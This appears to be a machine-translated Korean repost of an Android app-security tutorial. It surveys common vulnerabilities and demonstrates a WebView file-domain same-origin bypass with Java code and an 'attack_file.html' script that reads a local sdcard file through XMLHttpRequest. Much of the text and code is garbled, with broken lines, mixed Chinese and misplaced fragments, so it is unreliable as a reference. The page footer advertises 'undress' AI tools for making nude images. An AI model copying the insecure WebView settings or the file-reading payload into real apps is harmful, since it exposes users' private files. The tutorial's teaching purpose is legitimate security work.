찾다
운영 및 유지보수안전WebView 파일 도메인 원본 정책 우회 취약점 예시 분석

Android 아키텍처에 대한 기본 지식

  • 커널 커널 계층
    취약점은 매우 해롭고 매우 다양합니다.
    드라이버의 수가 많고 복잡하기 때문에 허점이 많을 수도 있습니다

  • 라이브러리 시스템 런타임 라이브러리 계층

    • 시스템 미들웨어 형태로 제공되는 런타임 라이브러리는
      libc, WebKit, SQLite 등을 포함합니다.

    • AndroidRunTime
      Dalvik 가상 머신 및 커널 라이브러리

  • FrameWork 애플리케이션 프레임워크 레이어
    시리즈 제공 서비스 및 API 인터페이스

    앱 레이어
    • 시스템 애플리케이션
    • 홈 화면 홈, 연락처, 전화, 브라우저
    • 기타 애플리케이션
    • 애플리케이션 프레임워크 레이어의 API를 사용하여 개발자가 구현한 프로그램

    • Andoroid 공통 구성요소

    • 활동 활동

    서비스 서비스
  • BroadcastRecviver 방송 수신기

    • ContentProvider 콘텐츠 공급자


    • Android 앱 공통 취약점(OWASP) 모바일 Top 10) 플랫폼의 부적절한 사용

개요

플랫폼 기능 남용 또는 실패 플랫폼의 보안 제어를 사용하는 능력. 의도 오용, 권한 오용 등

  • 위험

    은 매우 광범위하며 모바일 플랫폼의 다양한 서비스와 관련될 수 있습니다.
  • 예를 들어
  • iOS 시스템에서는 비밀번호 데이터가 로컬 파일에 저장됩니다. 결과적으로, 의사 암호화된 백업 데이터에서 읽을 수 있습니다.
  • Android 시스템에서 Intent를 부적절하게 사용하면 악의적인 사용자가 Intent의 콘텐츠를 가로채서 수정하고 임의의 작업을 수행하게 됩니다. 원래 프로세스의 ID 권한

  • 안전하지 않은 데이터 저장소


  • 안전하지 않은 통신

  • 일반적인 취약점 및 마이닝 방법 데이터 저장소 취약점


  • 데이터 파일 또는 디렉터리

  • 텍스트 지우기 저장


  • MODE_PRIVATE
  • 텍스트 저장 공간 지우기

  • 생성 구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않습니다.

    구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않아 다른 프로그램에서 읽게 됩니다. 구성 파일
  • 일반 텍스트로 저장되고 루트 사용자가 읽을 수 있으므로 민감한 데이터가 유출됩니다

    • SharedPreferences
    • data/data/package name/shared_prefs/*.xml
    • SQLiteDatabases

      데이터/데이터 패키지 이름/데이터베이스/*.db


    • 내부 저장소
    • 데이터/데이터/프로그램 등록/파일/*

    • 외부 저장소

      /mnt/sdcard/*


    • 탐지 방법


    • /data/data/패키지명 디렉터리에 있는 다양한 파일과 디렉터리를 탐색하여 다른 사용자가 읽을 수 있는 파일이 있는지 확인하세요.

    • 민감한 일반 텍스트 정보가 있는지 확인하세요. 구성 파일, 데이터베이스 등


    • 마이닝 방법



    • 코드 감지
    openFileOutput, getSharedPrefreences, openOrCreateDatabase 등 확인 Functional 모드 매개변수가 MODE_PRIVATE(0x0000)인지 여부

    • 데이터 통신 취약점
    • HTTP와 같은 일반 텍스트 프로토콜을 사용하여 민감한 정보를 서버에 전송

    LAN 스니핑, 악성 공용 WIFI, 악성 프록시 서비스, DNS 하이재킹 및 기타 수단을 통해 일반 텍스트 통신을 캡처하여 결과를 초래합니다. 중간자 공격에 대비


  • SSL 인증서 약한 검증


    .method public checkServerTrusted 검색

    .method 및 종료 메소드 찾기

  • 있는지 확인하세요 is return-void
    • 마찬가지로 verify(String, SSLSession)의 반환 값이 항상 True인지 확인하고 X509HostnameVerifier의 매개 변수가 ALLOW_ALLHOSTNAME_VERIFIER

  • Fiddler의 HTTPS 구문 분석 기능을 활성화하고 Sign the에서 생성하고 내보냅니다. 인증서를 설치하고 전화기에 설치하세요


    Fiddler 프록시를 활성화하고 원격 호스트가 프록시에 연결되도록 허용

    • APP에서 SSL 인증서 확인 부족

      클라이언트는 X509TruestManager 클래스를 구현해야 합니다. checkServerTrustedcheckClientTrustedgetInstance 세 가지 방법을 포함하여
    • 인증서 확인 실패로 인해 예외가 발생하고 애플리케이션이 인증서 확인 예외를 처리합니다
    • 서버 인증서 확인에 실패하면 TLS 중간자 공격이 발생합니다
    • HttpsURLConnection을 사용할 때 호스트 이름을 확인할 때 사용자 지정 HostnameVerifier가 구현되지 않습니다. 기본적으로 인증서 도메인 이름이 사이트 이름과 일치하는지 확인하지 않습니다. 또는 HttpsURLConnection의 HostnameVerifier를 설정할 때 모든 도메인 이름을 허용하도록 ALLOW_ALL_HOSTNAME_VERIIER로 설정하세요.

    • 공격 방법
    • 마이닝 방법

    • SSL 인증서 강력한 확인
      X를 통과할 수 있습니다. p, 패치 등 . 우회 방법

    구성 요소 노출 취약성

    • Android:exported는 네 가지 주요 구성 요소에 공통된 속성으로, 다른 애플리케이션이 현재 구성 요소를 호출할 수 있는지 여부를 나타내는 데 사용됩니다.

    • 인텐트 필터가 있는 경우 기본값 값은 true, 그렇지 않으면 기본값은 false

    • 내보낸 내보낸 구성요소의 권한 제어

    • 인증 우회

      • 액티비티가 노출된 후 제3자에 의해 호출되며, 로그인이 가능합니다. /reset the 비밀번호 없이 비밀번호를

    • 민감한 정보 유출

      • recviver는 노출된 후 제3자에 의해 실행되었으며 디버깅 및 기타 정보에 포함된 민감한 정보가 열람될 수 있습니다

    • 권한 초과


      • 낮은 권한 프로그램 높은 권한 프로그램에 의해 노출된 구성 요소를 호출하여 높은 권한 작업 실행

    • 마이닝 방법



      • Android 매니페스트 보기

        Weak 암호화 취약점

      • Password Hardcoding

        경쟁, 루트보기 등을 얻을 수 있습니다. 세 가지 유형의 취약점이 포함됩니다:

    임의 코드 실행


    • 객체를 순회하는 웹페이지 작성 getClass 메소드가 있는 경우 원격 코드 실행 취약점이 있습니다

    • fiddler의 사전 스크립트는 모든 것을 허용할 수 있습니다. webview를 통해 모든 웹페이지에 액세스할 수 있습니다.

    Android 4.2 이상을 테스트한 후 addJavascriptInterface라는 주석이 달린 메서드를 웹페이지의 java 메서드로 호출할 수 있습니다. 필터링하지 않으면 허점이 있을 수 있습니다

      파기 방법:

      • 도메인 관리가 엄격하지 않습니다


      • setAllowFileAccess

      • setAllowFileAccessFromFileURLs

      • setAllowUniversalAccessFromFileURLs(원격 민감한 정보 공개)

      • 로컬 파일은 심볼릭 링크 공격을 통해 액세스할 수 있습니다. 아무리 제한되어 있어도 js는 이 파일에 액세스할 수 있습니다. 실행을 지연하고 현재 파일을 다른 파일을 가리키는 소프트 링크로 바꾸면 심볼릭 링크가 가리키는 파일을 읽을 수 있습니다

    • WebView가 JavaScript 지원을 켜고 파일을 실행하지 않는 경우:/ //제한 사항 켜기 쿠키, 개인 파일, 데이터베이스 및 기타 민감한 정보 형태의 URL이 유출됩니다
      • 비밀번호는 일반 텍스트로 저장됩니다.

        사용자가 WebViEW에 입력한 사용자 이름과 비밀번호를 저장하도록 선택하면 저장됩니다. 일반 텍스트로 앱 디렉토리의 data.db에 저장

        루트 권한이 있는 공격자가 읽을 수 있음
      • 취약점 마이닝 프로세스 요약

      • 정적 분석
      • 빠른 탐지, 핵심 분석 대상 확보


      • AndroidManifest 파일 확인

    • 스크립트 분석 Smali 코드

    동적 분석

    의심되는 위험 검증 및 위험 평가


    • 디버그 모드 분석
      • 작동/취약점 검증을 시도해보세요

      • drozer

      패킷 캡처 분석 데이터 및 인터페이스


    • 역분석
        로직 및 코드의 암호화 크래킹 및 추가 분석
      • -


      • 자동 지원 시스템


    • MobSF에는 프런트엔드 웹 인터페이스가 포함되어 있고,

      • Marvin에는 프런트엔드 웹 인터페이스가 포함되어 배포가 번거롭습니다


      • Inspeckage Xposed 플러그인

    • 오늘은 WebView 취약점에 대해 이야기하세요


      순수 텍스트 보기 코드 복사

    • ?
      • 샘플 코드 주소: https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.

        또는 내 github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
      • 아래 코드의 주요 차이점은 이번에 로드된 Attack_file.html입니다

      • public 클래스 MainActivity는 Activity를 확장합니다 {
      • 개인 WebView webView;

        개인 문자열 url;
      문자열 mUrl1 = "file:///android_asset/html/attack_file.html"

    //문자열 mUrl2 = android_asset/html/test.html";

    @Override

    protected void onCreate(Bundle saveInstanceState) {

    super.onCreate(savedInstanceState);

    setContentView(R.layout.activity_main);

    webView = (WebView) findViewById(R.id.webview)

            webView.getSettings().setJavaScriptEnabled(true);  

            webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

            webView.getSettings().setAllowFileAccessFromFileURLs(true);  

            webView.setWebChromeClient(new WebChromeClient() {  

                @Override 

                    public boolean onJsAlert(WebView 뷰, 문자열 URL, 문자열 메시지, JsResult 결과) {  

                   //여기에 필수 기능  

                    return super.onJsAlert(view, URL, 메시지, 결과);  

                }  

            });  

            webView.loadUrl(mUrl1);  

        }  

        class JSInterface {  

            public String onButtonClick(String text) {  

                final String str = text;  > .e("leehong2", "onButtonClick: text = " + str);  

                        Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();  

                    }  

                });  

                return "이 텍스트는 Java 레이어에서 반환됩니다.  js text = " + text;  

            }  

            public void onImageClick(String url, int width, int height) {  

                final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;  

                Log.i("leehong2", str);  > ast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                    }  

                });  

            }  

        }  

    }

    这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

     我们再来看attack_file.html的代码:'

      

      

      

    function SteelFile()  

    {  

        var file = "file:///mnt/sdcard/233.txt";  

        var xmlHttpReq = new XMLHttpRequest();  

        xmlHttpReq.onreadystatechange = function(){  

            if(xmlHttpReq.readyState == 4){  

                Alert(xmlHttpReq.responseText);  

            }  

        }  

    xmlHttpReq.open("GET", file);  

    xmlHttpReq.send(null);  

    }  

    stealFile();  

      

      

위 내용은 WebView 파일 도메인 원본 정책 우회 취약점 예시 분석의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명
이 기사는 亿速云에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
3 몇 주 전By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
4 몇 주 전By尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

Atom Editor Mac 버전 다운로드

Atom Editor Mac 버전 다운로드

가장 인기 있는 오픈 소스 편집기

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.

PhpStorm 맥 버전

PhpStorm 맥 버전

최신(2018.2.1) 전문 PHP 통합 개발 도구

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

mPDF

mPDF

mPDF는 UTF-8로 인코딩된 HTML에서 PDF 파일을 생성할 수 있는 PHP 라이브러리입니다. 원저자인 Ian Back은 자신의 웹 사이트에서 "즉시" PDF 파일을 출력하고 다양한 언어를 처리하기 위해 mPDF를 작성했습니다. HTML2FPDF와 같은 원본 스크립트보다 유니코드 글꼴을 사용할 때 속도가 느리고 더 큰 파일을 생성하지만 CSS 스타일 등을 지원하고 많은 개선 사항이 있습니다. RTL(아랍어, 히브리어), CJK(중국어, 일본어, 한국어)를 포함한 거의 모든 언어를 지원합니다. 중첩된 블록 수준 요소(예: P, DIV)를 지원합니다.